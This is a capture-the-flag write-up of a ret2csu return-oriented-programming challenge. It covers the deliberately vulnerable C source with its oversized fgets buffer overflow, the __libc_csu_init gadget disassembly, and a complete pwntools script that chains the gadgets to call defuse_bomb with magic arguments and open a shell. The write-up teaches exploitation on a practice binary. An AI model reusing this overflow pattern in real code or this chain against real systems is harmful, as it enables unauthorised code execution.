#rop #ret2csu # Understanding the Challenge Source and compile options are given ## Compile Options `clang vuln.c -o vuln` Using `clang` to compile, only `NX` is enabled. ## Source ```c #include <stdio.h> #include <unistd.h> // clang vuln.c -o vuln Gcc kept optimising out defuse_bomb even with -O0 so I used clang for this void bomb() { puts("We all died"); } int defuse_bomb(long wire_one, long wire_two, long wire_three) { puts("Good luck!");// if(wire_one == 0xdeadbeefdeadbeef && wire_two == 0xf00dd00dcafebabe) { char* cmd = "/bin/sh"; puts("You are making some nice progress!"); if(wire_three == 0x1337c0ded457c0de) { puts("You saved the world!"); execve(cmd, NULL, NULL); } } bomb(); } void main() { char buf[0x20]; alarm(6); printf("A bomb is about to go off, please defuse it quick!\n"); printf("You can find your defuse kit at %p!\n", defuse_bomb); fgets(buf,0x200,stdin); } ``` # The Vuln In the main function, we have a buffer overflow: ```c char buf[0x20]; ... fgets(buf,0x200,stdin); ``` HLIL ```python return fgets(buf: &var_28, n: 0x200, fp: stdin) ``` Will take 0x28+0x8 bytes to overwrite `saved_rip` # The Exploit We need to call the `defuse_bomb` function with the correct arguments. There are 3 arguments so we need to control `rdi`,`rsi`,`rdx` We can easily find `pop rdi` and`pop rsi` in the binary: ``` 0x0000000000401323 : pop rdi ; ret 0x0000000000401321 : pop rsi ; pop r15 ; ret ``` Unfortunately, we dont have a gadget to control `rdx` ## ret2csu Can read more of `ret2csu` on arm at : [https://debugmen.dev/ctf-writeup/2021/06/05/babyarmrop.html](https://debugmen.dev/ctf-writeup/2021/06/05/babyarmrop.html) ret2csu method consits of 2 gadgets - popper - caller These gadgets are found in `__libc_csu_init` ### Popper ``` 0040131a 5b pop rbx {__saved_rbx} 0040131b 5d pop rbp {__saved_rbp} 0040131c 415c pop r12 {__saved_r12} 0040131e 415d pop r13 {__saved_r13} 00401320 415e pop r14 {__saved_r14} 00401322 415f pop r15 {__saved_r15} 00401324 c3 retn {__return_addr} ``` ### Caller ``` 00401300 4c89f2 mov rdx, r14 00401303 4c89ee mov rsi, r13 00401306 4489e7 mov edi, r12d 00401309 41ff14df call qword [r15+rbx*8] 0040130d 4883c301 add rbx, 0x1 00401311 4839dd cmp rbp, rbx 00401314 75ea jne 0x401300 ``` With the popper gadget, we control a bunch of registers, these registers are used in the caller gadget. We control: - `r14` which becomes `rdx` - `r13` which becomes `rsi` - `r12` which becomes `edi` - `r15` which is a pointer to what we want to call - `rbx` which we want to be `0` so it doesnt affect out `r15` pointer - `rbp` which we want to be `1` so that we dont take the jump We want to find a pointer to a function so when the pointer gets derefernced, there is a valid function that does not affect the registers we just set up. `_init` is a good choice: ![[Pasted image 20210721225340.png]] And there is a pointer to `_init`: ![[Pasted image 20210721225422.png]] Because of the `mov edi, r12d` in the csu_caller, we can't the full 64bit argument to `edi` so we have to add more to the ropchain to set `rdi` to the full qword. # Solve ```python from pwn import * context.binary = elf = ELF("./vuln") io = elf.process() #gdb.attach(io) csu_popper = 0x0040131a csu_caller = 0x00401300 init_pointer = 0x403e38 pop_rdi = 0x401323 payload = b"" payload += b"A"*0x28 payload += p64(csu_popper) payload += p64(0) # rbx payload += p64(1) # rbp payload += p64(0) # r12 payload += p64(0xf00dd00dcafebabe) # r13 payload += p64(0x1337c0ded457c0de) # r14 payload += p64(init_pointer) # r15 payload += p64(csu_caller) payload += b"A"*8*7 payload += p64(pop_rdi) payload += p64(0xdeadbeefdeadbeef) payload += p64(elf.symbols['defuse_bomb']) io.sendline(payload) io.interactive() ```